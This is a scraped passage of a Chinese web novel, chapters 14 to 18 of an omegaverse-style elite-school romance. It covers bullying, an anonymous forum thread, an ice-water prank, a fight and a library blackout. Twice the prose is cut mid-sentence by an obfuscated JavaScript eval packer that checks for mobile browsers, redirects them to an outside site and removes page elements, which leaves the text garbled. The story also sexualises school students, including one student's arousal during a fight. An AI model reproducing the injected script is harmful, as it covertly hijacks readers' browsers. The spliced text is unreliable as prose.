“为了看起来更平衡。”林析一本正经地说完这句话,刚好和简令祁对上眼神,他下意识露出一个安抚性的笑,温和中含着点若有若无的怜惜。 “好了不用再说了,”林析打断云栎的话,“我是老师还是你是?” 云栎憋着气坐下,敛下眸,暴戾因子隐隐作祟:“我不去后面了。” 他才不是因为林析是什么狗屁老师退让,完全是因为两人那点少得可怜但确实存在的血缘关系。 更该死的是,论起辈分来,林析还算是他小叔叔。 ——没用的废物小叔叔。 下课后,林析没有急着离开,他走到了教室后面,撑着桌子俯身问简令祁:“怎么突然换了同桌?” 他语气温和,年轻清俊的脸上显出不似作伪的关切。 “我不知道,”简令祁抬起眸子,眸里恰如其分显出点纠结的犹豫,“今天一进门就这样了。” 漂亮清冷的少年在谈及此事时难掩眸里的不情愿,林析准确捕捉到他的情绪,弯着眼安抚因遭遇同学骚.扰而显出无助的少年,手顺着他的脊背抚下,安慰道:“没事,下午之前这件事就会被解决的,别担心。” 手下的触感极其奇妙,他甚至能碰到少年背部微微突起的骨头,忍不住皱了皱眉,也太瘦了点,该多吃些才是。 简令祁坐在椅子上仰起头,浅色眸子里缀着点亮光:“那就谢谢林老师了。” “和我有什么好客气的。”林析笑了笑。 还没到下午,云栎就被迫回到了自己原来的位置,闷闷不乐地盯着那个他再熟悉不过的后背。 该死的林析!!竟然直接给他父亲打电话……他除了告状还会什么?! 上次差点被父亲打断腿的痛现在还隐隐复发,云栎扯动嘴角,眼里闪过阴狠。 再忍一忍就好了……等他完全接手家里企业之后,他绝对,毫不手软地会把那个独裁恶心的alpha的腿打断。 遗传了alpha父亲暴戾基因的年轻alpha从骨子里就透着股如出一辙的同样令人心颤的狠劲,盯着人看时眸光透出阴鸷的冷,他原先的同桌颤抖着手往旁边又挪了挪,生怕离他太近而被他的怒火波及到。 * 圣维埃论坛。 ——主题:【po一张认真上课的[花花],半小时后删[图片链接]】 照片一看就是抓拍的,因着手抖有点糊了,但完全没有折损照片上男生浑身令人移不开眼的清冷气质。 能看出拍这张照片的人的位置在靠门的侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14223897|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,因此构图也一般,男生只占了照片一角,更大面积是写满字的黑板。 他正站在黑板前,手里握着根很短的粉笔,黑板上面是被他写下的一个个复杂的数字和符号。身子半蹲着,一只手顺势搭在膝盖上,浓密漆黑的睫毛微翘,视线停留在粉笔下的符号,眸色专注又认真。 1L:【prprpr】 2L:【圣维埃什么时候才能实行按每学期按成绩分班的制度!不能和[花花]一个班我真的大怒!】 楼主:【补药补药啊!维持现在分班情况不是很好吗?!换来换去的压力多大啊!】 …… 12L:【对了,谁知道今天那个座位怎么回事?】 五班教室里,有人做贼似的抬眼偷瞥了某两个人一眼,见无人注意自己,悄悄回帖。 33L:【我看见了,硝烟哥威胁人换了座,上课骚.扰[花花],[花花]实在忍受不了了,那节课就坐后面去了。我看着都心疼死了,那可是以前那个谁的座位,平时大家都绕着走的,结果今天[花花]还要坐在那里上课……】 34L:【之前绕着走不是因为论坛传谣说这个座位有诅咒吗?反正我不信这个诅咒啊,等着我这节下课就去把这套桌椅搬回我们七班,以后就是我们七班吉祥物了!】 35L:【……不得不告诉你,你消息太慢了,已经被搬走了。】 36L:【狗屁诅咒,不就是那群富二代仗势欺人硬生生给人逼走了吗?也不知道硝烟哥为首的几个晚上会不会做噩梦?还好意思搞出什么转学桌椅诅咒,我看只要他们消停点,圣维埃也不会出那么多事。】 37L:【怜爱我花了!(大怒)这种xsr[花花]的人能不能自觉离开五班啊!!让我进去让我进去(羞涩)(扭捏)】 38L:【宝宝漂亮!见人去斯去斯去斯去斯去斯!!!!!!】 39L:【没办法的,进了五班的人都会屈服于硝烟哥的淫威之下。他不是那种小打小闹……总之,退学那个不就是被他逼的……】 40L:【靠!前面的真敢说。】 【不过说真的,[花花]刚转来那时候,我以为[花花]也会被他欺负到退学呢,他看上去真的挺脆弱的,而且又傲又漂亮,我要是那群金字塔尖上的人我也喜欢。】 【——不对不对,我不是我也喜欢。】 41L:【宝宝漂亮!见人去斯去斯去斯去斯去斯!!!!!!】 42L:【还真别说,虽然他平日里看上去说话什么都还挺有礼貌的,但我就是觉得他看人时候的眼神……嘶,说不上来。但就是感觉心脏像是突然过了道电一样。】 43L:【楼上说不出来是吧,那就让我来大胆开麦吧,我觉得人生终极目标就是跪下来亲他一口!主人中的主人,前面忘了,后面忘了,反正我爱他!】 …… 211L:【宝宝漂亮!见人去斯去斯去斯去斯去斯!!!!!!】 212L:【真不知道那个谁在狂什么,还不是争着抢着给[花花]当狗,但是[花花]根本看不上人渣天龙人好吗。。恶心。。】 213L:【?楼上特招生收收味吧,味太冲了,仗着这是匿名论坛就开始随地大小骂了?[花花]是真善美代表没错啦,但你们也是吗?之前到处堵[花花]的人里,你敢说一个特招生都没有吗?呵,给我笑烂了。】 214L:【还比上谁更恶心了??那还是你们自命不凡的天龙人更胜一筹吧。助纣为虐也要看看谁是纣吧。。好笑。】 【还有!哪个傻x在刷屏啊??!能不能正常讲话?神经兮兮的。】 215L:【[花花]究极梦男咯。梦着梦着真把自己当正宫了,真是笑死我。】 216L:【?】 【当梦男和你有关系吗就搁那逼逼赖赖。。还给你乐上了。。0人在意你哈。】 …… 楼主:【靠靠靠!!我就一会儿没看论坛,你们就聊起啥来了啊!疯了吗??这是咱能讨论的事吗?!】 ——此贴已被删除—— 15.第 15 章 简令祁发现他的室友最近好像在躲着他。 具体表现在,看见他回来时不再像从前那样过分热情地起身迎向他,对着他笑的时候也总抿着唇露出不仔细看都看不出来的笑容。 他有些困惑,想了想,也没太放在心上。 直到他一次课间去了洗手间,准备用清水拍拍脸让自己清醒清醒别犯困了,推开门却再一次撞见乔榆。 他垂下头,循着哭声看去,角落里蹲着个埋着头肩膀不断耸动的男生。 简令祁眼睛轻眨了下,犹豫片刻,还是没有直接离开,反手将门关上了,问道:“……你还好吗?” 乔榆迅速辨别出熟悉的声音,几乎是条件反射般抬起头,眼睛通红,张了张嘴,深呼吸了好几口气才将哭腔完全压下,弯起一个与往日无异的笑,维持着正常的嗓音:“简、简令祁……” 除了脸上的泪痕和红透的眼睛,他看上去和平常没有什么差别。 他的头从臂弯中抬起来后,简令祁才发现他暴露出来的皮肤上布着大大小小的伤口,脸上也青青紫紫的,撑在膝盖上的双拳紧握又松开,满是血迹。 简令祁微俯下身将其看了个清,的确是血迹无疑。嗓音冷静,仿若泉水击石般清亮:“手怎么了?” 是又被人欺负了? 乔榆冷不丁收到一句关心,蓦然睁大眼睛,直愣愣盯着凑近的那张漂亮到令人失语的脸,嘴唇嗫嚅好半晌,才顺畅说出:“砸人鼻梁的时候,不小心劲使大了。” 砸人鼻梁?劲使大了? 简令祁不太能够把这两个词和面前看起来柔柔弱弱的室友联系起来,微微睁大了眼睛。 他重新审视了下眼前这位室友,发现自己对他的认识好像还是太浅了。 乔榆扶着墙艰难站起身,冲他露出一个温和的笑。他天生眼角微微下垂,自然而然显出几分清澈的无辜来。 脸上的表情显出几分赧然,抿着唇浅笑,好像有些无奈:“怎么总被你撞见我狼狈的样子啊。” 明明这些天已经尽量在避开简令祁了,担心被他瞧见自己身上的伤,让自己显得更加糟糕差劲。却没想到躲来躲去,最后居然在这里撞上了…… 他撑着墙终于完全站稳了,终于有力气抬头注视着简令祁,看着很狼狈,但说话时是很轻松的语气,还有余力笑着:“我还以为我把门锁好了呢。” “这个门锁前几天就坏了,还没修好。” 简令祁示范似的伸手摆弄起了锁,给他演示了下锁住也能直接打开的情况。 乔榆跟着看过去,点点头:“原来是这样……我都没有注意到。” 简令祁却在这时侧回了身子,骤然抬起了眸,恰好与他撞上视线,乔榆瞳孔微缩了下,像是刹那间滞住了,在听见熟悉的清凌凌的嗓音后终于被拉回了神思。 简令祁没有注意到他的愣神,只是盯了片刻他身上的伤,开口道:“去医务室处理下吧。” 乔榆乖乖点了头。 过了会儿,他有些不好意思地移开眼神,解释道:“我其实……没这么脆弱的。” 他也就情绪崩溃了两次,躲起来哭了两次,结果……谁知道居然都被简令祁撞见了。 不会给他留下什么软弱爱哭的印象吧? “我只是……第一次还手,”乔榆把自己染血的双手举起来,给他看,认真解释,“没把握好分寸,看起来有点吓人,所以……一时不太能接受。” “……刚开始我没想过要还手的。” 简令祁说:“不还手等着被打吗?” “啊?”乔榆没太明白他的意思。 “字面上的意思,”简令祁的声音天然带着冷意,仿佛直流而下的冰泉击过石头,让乔榆的心一瞬间就静了下来,认认真真听着他说话。 “他们想通过这种手段逼你退学——只要你扛不住。” “退学……为什么?”乔榆喃喃重复了一遍,仿佛陷入迷惘,“我没有主动招惹他们,也没有……从前也没有还过手……” 他明明已经努力做到母亲教他的那样了——与人为善,见义勇为。但来到圣维埃之后,他发现这样不能解决任何问题,反而让事情越来越糟。 就像是身处不断深陷的泥潭之中。 他依赖着母亲自小对他的经验式教导,用尽全力挣扎着,却发现在泥潭中挣扎只会越陷越深,醒悟的时候淤泥已经盖住了胸口,让呼吸都变成一种奢求。 他抬起眼睛,圆眼里光亮了又暗,明了又灭,无措地望着简令祁。 简令祁不急不缓吐出两个字:“好玩。” 他没有说出什么安慰的软话,出口的话语反而直白又冷硬。 乔榆以为自己听错了,有些错愕地看着他。 但简令祁没有再重复一遍的意思,洗手台前的镜子倒映出一张抬起的极为精致漂亮的脸,眸里闪过一丝不加掩饰的厌恶。 他刚转来圣维埃时,受到的针对绝对不比乔榆少。 可能是这张脸的缘故吧,什么跟踪偷拍,又或是找人围堵,大大小小的事时常上演,以至于到现在他甚至已经到了见怪不怪的程度了。 还有人不知道从哪里找到了他的联系方式,连着一周,每天都坚持不懈给他发各种看一眼就让人感到不适的私密照片和骚扰短信。 他对此烦不胜烦,不得不掰断电话卡,重新换了新的。 以及—— 被泼水这种事他也经历过。 圣维埃有规定,在校期间必须穿学校发放的制服,否则视为违纪。 可能是因为在家里的阳台晾晒衬衫时,阳台前的那颗巨大梧桐树飘的絮沾在了衬衫上,以至于此时简令祁后背泛起痒意,一整个自习课都磨着他,难以忽略的不适感让他很不舒服。 下了课后,他起了身便去到厕所隔间察看。 他没注意到的是,教室里几个人注意到了他离座的动作,相视一笑,鬼鬼祟祟跟在他后面进了卫生间。 简令祁锁好门,垂下眸开始一颗颗解扣子,门却突然发出异常的响声。 不对劲。 他意识到什么,立刻抬手推了下门,果不其然没推开。 锁门?那下一步是—— “哗啦——” 没给简令祁任何动作的机会,一桶满满的冰水就已经从头而降,混杂的快要融化的小冰块砸在地上,水量大到整个隔间都没有任何能够躲避的地方。 他被径直从头浇下,大脑被冰得一阵发懵,制服湿哒哒地黏在身上,混着刺骨寒意,不断带走皮肤的表层温度。 残余的水从他的头发滴落,又顺着冷白的皮肤滑下,落在长而微翘的睫毛上,抬眸时一颗一颗往下坠,像是成色极好的上品珍珠。 他单手握着门把手,注视着纯色厚重的门,眸色从最开始的些微慌乱重新又变得平静下来,让人看不出他在想什么。 一门之隔,门外发出一阵绝对称不上善意的哄笑,还夹杂着一些挺不甚清晰的讨论。 “云栎,”模糊喧嚣中,他的声音冷冽清晰,准确无误点出始作俑者的名字,因着刚淋了一身冰水的缘故,声音有些哑了,“有意思吗?” 听见自己的名字,环臂站在一旁的云栎掀起眸,眼里始终是看戏般的恶意,一副不甚在意的样子,扬眉笑道:“有意思啊。” 他故意压低声音,磁性的声音在密闭的空间里来回回荡:“声音怎么哑了?哭了啊。” 恶意满满的话带着无端的揣测,喧嚣诡异的气氛却刹那间被这句话点燃,视线相撞时,有种隐秘的粘稠蔓延开来。 那一桶水是实打实的冰水混合物,这么劈头淋下来,简令祁怀疑自己今晚真的会发烧,至少现在就有点咳嗽的迹象了,吞咽时嗓子发疼得厉害。 他心情很快糟糕起来,本就冷冰冰的一张脸现在更是沉了下来。 他后退两步,扫了眼门和墙壁,脚下是还未干净的水,十分容易踩滑摔倒。收了视线后,他活动了下因凉意微僵的四肢,随后微微蹲下。下一秒,向上跳起。 极好的弹跳力让他初始腾空到了一个不低的高度,右脚顺势踹在墙壁上借力跃得更高,单手扣住门沿,一个干净利落的翻身翻了出去,落地时双脚稳稳踩在地上。 仿佛按下了暂停键,门外几人停止了一切动作,怔愣地望着他,这个密闭空间内瞬间涌起诡异至极的安静。 简令祁身上衣服都湿透了,外套先前就被他脱在了教室,衬衫也因着一开始的缘故解开了两颗,领口大敞开着,如今被水浸湿紧紧黏在身体上,难以避免透出点白色之外的颜色来,依稀能看见些平日里被掩藏得极好的艳色。 他现在和平时的样子很不一样,头发被随意往后捋去,露出光洁的额头,整张脸都被完完全全露了出来,漂亮的五官有种惊心动魄的美感。 像是来勾人心的美艳水鬼。 云栎看得也有些出神,直勾勾看着简令祁走向自己,唇角下意识勾起抹笑,刚想继续说些欠揍的话,然而下一刻—— “嘶!” 他紧紧捂着自己被踹的肚子,后背生生撞在墙上,一瞬间疼出冷汗,抬着头不可置信地望着眼前的人。 像是完全没想到眼前这人一言不发直接就对他动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下意识的,他视线向下移去,很快就意识到了是什么东西抵着自己,眼里闪过一丝不可置信,弹射似的迅速抽身,像是一秒也不想再多碰这个人似的。 他睫毛快速颤动,皱着眉很不高兴的模样,一瞬间抽离的温度让身上又重新被衣物冰凉的冷意所覆盖。 冷得他偏过头小声打了个喷嚏,脸上泛起几分病态的薄红,几乎是很快速的,脑袋昏沉起来,浅色的瞳孔自然而然氤氲着水汽。 他体感自己有点发烧了。 云栎轻轻捻了捻手指,似乎还能感受到方才流连的细腻触感,像是在回味。 重重闭了闭眼,粘稠血液混在黑发里,滴答滴答往下流,半边脸都是血,显得有点可怖。 他靠着墙,一只腿曲起,即便被打得气若游丝了,但还扯着唇笑,拉出渗人的血丝,双眼像大型兽类般眯着,紧紧盯着简令祁领口处露出的一大片白皙肌肤,其上流连着点不知道是汗水还是起初的冰水,涩得要命。 他刚刚才碰过……老实说,很好摸,几乎是碰上的那一瞬间,他便有些不受控了,明知道会被揍得更惨,却还是忍不住撩起了冰凉的衬衫。 “你……”简令祁打也打不下去了,握成拳的手撤了力,盯着云栎的眼神浸上几分生理性厌恶,但这副鲜活生动的模样反而更令人深深地着迷了。 云栎呼吸微弱地靠在墙上,像是失去了生命体征一般,胸口起伏都到了微不可见的地步,如果不是alpha,他现在可能就已经死的透透的了。 他的手指微不可察地动了一下,微眯起眼,努力把身子往上撑起了点,聚焦思维认真倾听着简令祁会如何评价他。 他听见简令祁清冷的嗓音在这个安静得仿佛没人的空间清晰响起。 “能不能别这么贱。” 极淡的语气配上情绪色彩浓重的词,给这句话添上了种别样的意味。 简令祁鲜少说脏话,至少云栎从来没听他说过,这回可是头一遭听见这位向来高不可攀高高在上的年级第一用这样的词来评价自己。 云栎朝旁边吐出口血水,身体因疼痛而控制不住轻颤着,嘴里却笑道:“你再骂两句。” 他声音小得出奇,但在这处无人讲话的环境里,又清晰可闻。 随着他的话,那处的弧度又明显了几分,制服黑裤深色的布料有了点濡湿的痕迹。 简令祁:…… 好恶心啊这个人。 16.第 16 章 “我从这里面翻了出来,然后揍了始作俑者一顿。其实有时候,暴力挺能解决问题的。” 简令祁说这话时语气没什么起伏,但微垂下看着乔榆的眸色又流露出几分认真。 乔榆有些不确定地想,他这是在安慰自己吗? 不多时,简令祁移开视线,目光漫无目的地停留在别处。 也是这件事,让他松口答应了林泊知对他发出的加入学生会的邀请。 学业繁重,还要兼职赚钱,他精力不够,不想再花时间应付不断来找他麻烦的人了。 不过说起来,圣维埃的学生会确实是个很特殊的存在。 虽然以简令祁正常的世界观不太能理解,但在圣维埃待的这些时日也让他清楚知道,圣维埃学生会权利很大,几乎可以达到与学校股东齐平的地步。 对他而言,加入圣维埃学生会相当于多了一道免死金牌,至少以后明面上能少不少麻烦。 乔榆专注地看着他的眼睛。 浅色的瞳孔仿佛常年覆着层薄冰,但他好像在此刻窥见了隐藏于薄冰之下的温柔春水。 他笑起来:“我以为学长会一脚把门踹开。” “啊?”简令祁慢吞吞眨眨眼睛,缓慢望向他,很小声地说了句,“我又不是超级赛亚人。” 乔榆这下笑出声了。 片刻后安静下来,他脸上露出一个浅笑,眼神中显出点淡然和笃定,与简令祁对视着,认真道:“我不会退学的。我会从圣维埃顺利毕业。” 说这话时,他的神情是与年龄不符的成熟,仿佛他此刻说的是一个无需质疑的事实,而不只是一种期望。 旋即他停顿了一下,针对简令祁方才所说的话的内容,犹豫着问道:“后来你……生病了吗?” 简令祁微拧了下眉。 生病了吗? 当然病了。 被一桶冰水混合物直直浇下,和云栎打架时又出了一身汗,以一个正常beta的体质来说,怎么可能一点事没有? 能回到教室都全靠他硬撑。但头疼得根本上不了课了,没办法,他当即请了假回家。 随便找了位同学借了外套披在外面,又给苏其饮打了电话后,他就蹲在了校门口。 背倚着墙,身上的湿衣服紧黏着皮肤。一个一个喷嚏打着,脸上也烧得厉害。 庄重低奢的圣维埃校门前的墙边上,蹲着个仿佛潮湿地里长出来的蘑菇,除了偏头打喷嚏时就一动不动了。 没多久,一辆出租车匆匆停在校门前,停下时发出“哧——”的一声,还没停稳就慌忙下来了一个人影。 他把头从臂弯里抬起,努力睁开眼看清,看见来人是苏其饮后,蓦然松下口气,下一秒整个人就完全失去意识了。 醒来时是在医院打点滴,简令祁眼皮颤了下,缓缓睁开眸子,浅色瞳孔漾着点雾气,模糊中看见搬了凳子坐在病床边的苏其饮。 左手打着点滴动不了,他抬起右手,手背揉了揉眼睛,这才发现自己换了身干净清爽的衣服。 大概是苏其饮换的。 坐在硬板凳上一眨不眨望着他发呆的人见他动了,布满血丝的眼睛骤然一亮,像是一宿没睡。 简令祁张了张嘴想说话,刚出口一个音节就发现嗓子发哑,苏其饮适时递来杯温热的水,杯子应该是新买的,浅蓝色的保温杯。 盯着他慢口喝下,苏其饮吸了吸鼻子,看起来可怜巴巴的,絮絮叨叨地说他已经给他请好三天假了,千万不要急着回学校,一定要先休息好再考虑别的。 但说了一大堆,倒是识趣地没有问他怎么把自己弄成了这副模样。 简令祁不知道自己昏迷了多久,当时也昏昏沉沉的,但现在想起那时候苏其饮的表现,他总觉得那会儿苏其饮就已经和云家的人有联系了。 包括后来云家没有因为进医院的云栎找他麻烦,他也预感和苏其饮有关。 发烧时浑身疼,烧退后也难受得紧。 简令祁第一次发现自己的身体素质这么差,苏其饮也仿佛是把自己当做了易碎的玻璃娃娃,吃饭也需要人喂着哄着的那种。他拒绝不成,拗不过苏其饮,只好就着他递到嘴边的勺子一口口喝下米粥。 感冒基本好全之后,简令祁还是时不时有点咳嗽症状,后续借林泊知的笔记补那三天落下的课时更是让他烦上加烦。 他把这笔账全部算在了云栎头上。 不过一想到云栎估计还在医院躺着养伤,这股气又消了大半。 简令祁抬眼,正好撞上乔榆专心注视着他的视线。 他没有要详细讲的意思,回答时只有轻描淡写的两个字:“还好。” 乔榆用一种他不知道怎么形容的眼神看着他,像是有点难过,小声嘀咕了句:“打他打轻了。” “啊?”简令祁听清楚了,却不太理解,“我都快把他打死了。还……轻?” 他现在回想起来,倒觉得当时下手有些重了,毕竟昏昏沉沉的,心里又沉着火气,没控制住力道。 话音刚落,乔榆便弯着眼笑起来。 不知道为什么,今天他总觉得简令祁和平时不太一样。 他鲜少和简令祁说这么多话,今天倒是头一回这么多交流,然后他就发现,褪去平日里坚冰似的冷漠疏离之后,内里的简令祁居然显出了些与高岭之花外表相反的烟火气息……换句话说,就是—— 沾了人气的可爱? 疯了吧。 乔榆这样对自己说。他居然会把这个词和简令祁联系起来? 明明是一个很有距离感、不好接近的学长才对。 简令祁走到了洗手台前,乔榆转过身看着他的背影,静了会儿,突然开口道:“……我可以拥抱你 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他的拥抱像他本人一样,极有分寸感,好似就是两个普通朋友之间亲昵却又不冒犯的拥抱。 他克制地搂住面前的人,一只手搭在简令祁的肩上,另一只手轻环着他清瘦的腰身。 只是浅尝辄止的一下,他极力压抑着自己紧紧箍住面前人的冲动,片刻后松开手后退一步,扬起唇笑。 “谢谢你。” “不客……气。” 简令祁态度自然地回道,抬眼扫过乔榆时,却很反常地突然磕巴了一下。 不知为何,他感觉突然间好像有道光笼罩了面前微笑着的人,不是自然光也不是白炽灯光,而是一种说不上来的,更柔和的暖光。 嗯?是错觉吗? 他眉毛微压,微眯着眼试图看得更仔细些,但很快那道光就消失了,好像刚才只是他看晃眼了一般。 而且——他好像闻到了点特别的气味。 简令祁皱了皱鼻子,仿佛来自夏天的橘子汽水味道浅浅地钻进鼻腔,清新中带着提神醒脑的效用。 本因上课犯困来洗手间洗脸的简令祁感觉这橘子汽水味简直比清水还能让人提神,不动声色地悄悄吸了好几口。 一边暗暗地想,是乔榆身上的味道吗?刚才还没有,怎么突然就闻到了? 奇怪。 他脑袋微微歪了下,下意识将视线探到乔榆后颈。 原先覆在后颈的纱布被取下来了,此时一片光洁,被微长的短发盖住了点。 确实是beta啊…… 乔榆意识到简令祁在看朝他这边看,有点奇怪地也跟着往后看了看,什么也没看着,好奇地问:“怎么了吗?” 简令祁收回视线,敛下眸,抿了抿唇,声线冷淡如常:“没什么。” 17.第 17 章 三个月很快过去,圣维埃一年一度的舞会照常进行,一周后在礼堂举办。 餐厅里,来往的人都在讨论着今年舞会的搭档,时不时将目光投向同一处,仿佛被某种吸力特殊的磁铁吸引过去了一般。 受到无数目光注视的那一桌只坐了三个人,但长相气质皆是一等一的出挑。 简令祁早就习惯了被注视,不受影响地专心吃饭。 他对面坐着时楸亦,托着下巴百无聊赖地望着他。 这人不知道怎么回事,自那次翻墙被记了名字后,就开始整日缠着简令祁了,吃饭也半步不离地跟着,一问他,他又有百般借口来应付,反正主打一个油盐不进。 纪莱星眉梢压着,桃花眼显出点烦躁。长腿一迈,在桌子底下踹了下时楸亦,吸引来他的注意力后,皱着眉问:“你什么时候走?” 时楸亦莫名其妙地回看他一眼,相较起来很是好脾气的样子,甚至还把腿收拢了些。理直气壮地回:“我不走啊。” 他重新又看向简令祁,扯出个真挚阳光的笑容,试图打动对面铁面无私的人:“什么时候你愿意对我网开一面了,我保证,绝对不再纠缠你!以后见到你,我就躲得远远的,再也不烦你,怎么样?” 简令祁当没听见,垂着眸慢条斯理吃饭。 这么多年他已经养成了自动屏蔽掉外界嘈杂没用的声音的优良习惯。 他没说话,纪莱星却是来劲了。偏着头视线先是扫过简令祁,又转向时楸亦,撇了下嘴,毫不留情怼道:“那凭什么只给你一个人开后门啊?凭你脸皮厚?” 一刻没停又接着说:“没看见他烦你烦得要死吗?你赶紧走行吗?” 时楸亦:? 他不服气地看向简令祁:“你真这么想的?” 简令祁头也没抬,却听了全程,“嗯”了一声。 时楸亦更不服气了。 从未经过此等嫌弃的他完全不敢相信自己居然有朝一日会遭到如此对待。 但他可不会真就因为三言两语这么走了,心里腹诽几句后,就又嬉皮笑脸起来,没个正型地撑头对着纪莱星:“催我走?那你留在这儿干嘛呢?有事想单独聊?” 他语调莫名,意有所指。 话音刚落,纪莱星原本还振振有词的模样没了,别开眼回道:“用你管?” 瞧他这样,时楸亦反而来了兴致,笑眯眯道:“让我猜猜……你不会是想邀请他参加舞会吧。做你舞伴?” 相识近二十年的经验让他一猜一个准。 果不其然看见纪莱星闪烁的眼神后,时楸亦心觉有意思,又移过视线偷看简令祁的反应,试图看见更有意思的表情。 但他很遗憾地什么也没看见。 简令祁像没听见一样,咽下最后一口,矜持地擦了嘴,端起餐盘起身离开了。 那叫一个干净利落毫不留念! “诶!等等我啊。”时楸亦起身前不忘递给纪莱星一个遗憾且爱莫能助的眼神,转瞬就热情地跟了上去。 独留纪莱星一个人还在桌上。 他看着二人远去的背影,气得咬牙,本就没动几口的饭更是吃不下去了。 按照他的计划,本来是打算单独问简令祁,再软磨硬泡插科打诨几句,结果突然间就被时楸亦这么直愣愣戳破,搞得他的成算直接落了空。 他怎么才发现时楸亦气人的功力这一年间又长进不少呢?!! …… 夜色渐深,学校里几乎没多少人了。 简令祁出了实验室后没急着回寝室,而是先去了图书馆。 接近闭馆的时间了,他准备借出与ABO信息素相关的书,回宿舍慢慢看。实验过程中,他反思了下自己,觉得自己对ABO世界观的设定还是不够了解,于是准备多看基本书方便以后的研究。 圣维埃的图书馆区域很大,图书馆的开馆闭馆是由机器自动控制的。控制室已经实现了无人技术,包括图书馆的打扫清洁也全由机器人负责。 外层的书基本都是些基础方面的,越往里走,便越靠近档案室。所存放的书籍价值更高,借走所需要的权限也越高。 单看简令祁自来到圣维埃以来全优的成绩和表现,拥有借阅图书的最高权限是一件再理所当然不过的事了。 书架上贴了标签,分类清晰明了。 简令祁一一掠过,最后停住脚步,找到自己想看的那本后,抬手抓住取下。 “《论ABO的进化历程》。” 背后突然传出个声音,清晰地把书名读了出来。 突然出现在偌大空旷的图书馆里的声音让简令祁眼睫下意识一颤,意识到是谁后,轻闭了闭眼,心里轻啧了声。 他转过来,微侧了下身,直接掠过不知何时出现在他身后的时楸亦。 “你又跟踪我。” 不是疑问句,而是完完全全的肯定句。 “不是不是,这次真不是,你别冤枉我!”时楸亦举了举双手,一副示弱模样,含笑道,“我就是……刚好路过,看见你进了图书馆,一时好奇就跟进来了。” 他再次瞥了眼简令祁手上的书:“你很喜欢研究这些?” “要不你答应以后不记我名字了,我推荐你进越氏集团名下的实验团队?你知道的,越氏集团可以说是在医学领域造诣最高的了。怎么样?答应我是不是稳赚不亏。” 他打着好商量的语气,略落后简令祁一步跟着走。 简令祁步子一停。 时楸亦以为这事有商量了,眼睛一亮,等着他的回应。 简令祁微一抬眼,浅色眸子里冷清一片,嗓音也好听得很:“你是想靠一个劲地打扰我,来达成目的吗?” “怎么会?!我是想和你打商量嘛。我要逼你的话能有很多方法啊,何必浪费时间跟着你转悠,你说是吧。我还想和你交个朋友呢,我们不是挺有缘分的吗,我回学校第一天就看见你了!不是我说啊,你长得是真好看,难怪林泊知那家伙被你迷得死死的了。诶!纪莱星每天坐你旁边吃饭是不是在追你啊?我找个时间问问……” 时楸亦嘴巴一张,就喋喋不休起来了,简令祁轻呼出口气,全当左耳朵进右耳朵出,反正这人说的全是废话,听了和没听无异。 远处书架忽然有个黑影闪过,简令祁视线一定,还没看清就错过了。 大概也是来借书的人吧。 他没多想,拿着自己手里那本接着往前走。 忽的一下,室内照得亮如白昼的灯光一瞬间全灭了。 眼前蓦然间陷入一片黑暗,什么也看不清。 简令祁闭上眼适应,片刻后,再睁开时所见之处仍然一片黑暗,浓稠如墨。 同一时间,一只手在黑暗中探来探去,指尖触上他 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第一次有一个人得知他怕黑后的反应,居然是伸手牵住他…… 哇,哦。 手被另一只手轻握住的感觉有些新奇,他忍不住捏了捏。 有点柔软的触感,摸上去挺舒服的,他又捏了捏。 beta的手都这样吗? 简令祁拧眉:“你……” “对不起,”时楸亦道歉极快,又凑过去,扬着唇笑,“谢谢你啊。” 什么也看不清,所以他也不知道自己离简令祁有多近。 直到一道光啪地照亮。 是简令祁用另一只手按开了手机手电筒,翻转过来正正对着时楸亦的脸 时楸亦这才发现他的唇和简令祁的只有一步之遥,此时简令祁的五官被光照得极其清晰立体,正面无表情看着自己。 他眉骨深邃,垂下眸时自然而然带出点攻击性和侵略性,视线落在近在咫尺的唇瓣上。 樱花粉的,紧抿着压出点红,看上去软软的像果冻。 说起来,如果果冻长这样的话,应该会很好吃。他就挺喜欢吃果冻的,好吃又解腻,无聊的时候就吃点,吃多了好像也不健康?管他呢,反正比其他人那些抽烟的坏毛病好…… 不对不对,他到底在想什么啊?!! 他脑子里一团乱麻,眼睛却像是被蛊惑了般,一反常态地直愣愣盯着看,很想不管不顾直接抵上去,眼睛微微眯起,不自觉间自然流露出几丝呛人的侵略性,像大型野兽狩猎前对猎物的细致察看。 简令祁敛下眸,语调平静:“还要看多久?” 说话时,唇齿张合,洁白齿间若隐若现一点嫣红。 时楸亦眼睛轻眨一下,发自肺腑不由自主感叹:“你好漂亮啊。” 说出这句话后他才彻底回神,意识到自己在做什么后脸瞬间涨红,立马拉长距离,轻咳几声掩饰自己的失态,努力做出大大方方的模样:“我……我夸你呢!你不和我说声谢谢吗?” 说完后,他哈哈笑了几声,笑得极其僵硬刻意,心里反复默念色令智昏色令智昏。 简令祁抿了下唇,想捏捏鼻梁,却发现自己压根腾不出手来。习惯性抿了抿唇,看了眼手机上显示的时间,秀气眉毛瞬间微拧了起来:“还没到闭馆时间。” 18.第 18 章 “没到闭馆时间?那怎么会灭灯?”时楸亦正色,皱着眉头道。 他想了想,开口:“有人动了控制室的电。” “控制室。” 简令祁与他同时说出,说完后他下意识看了眼时楸亦,没几秒就收回视线。 但这一眼却仿佛让时楸亦受到了莫大的肯定一样,振奋起来,朝他眨了下右眼,还用肩膀抵他:“是不是觉得我还挺聪明?” 简令祁措不及防被他抵得一个踉跄,扶着书架站稳后没忍住小声道:“你烦不烦。” 时楸亦好像把这真当做了一个问题,抓了抓头发一笑,正经回道:“我不烦啊。” 简令祁:“……去看看门关了吗。” 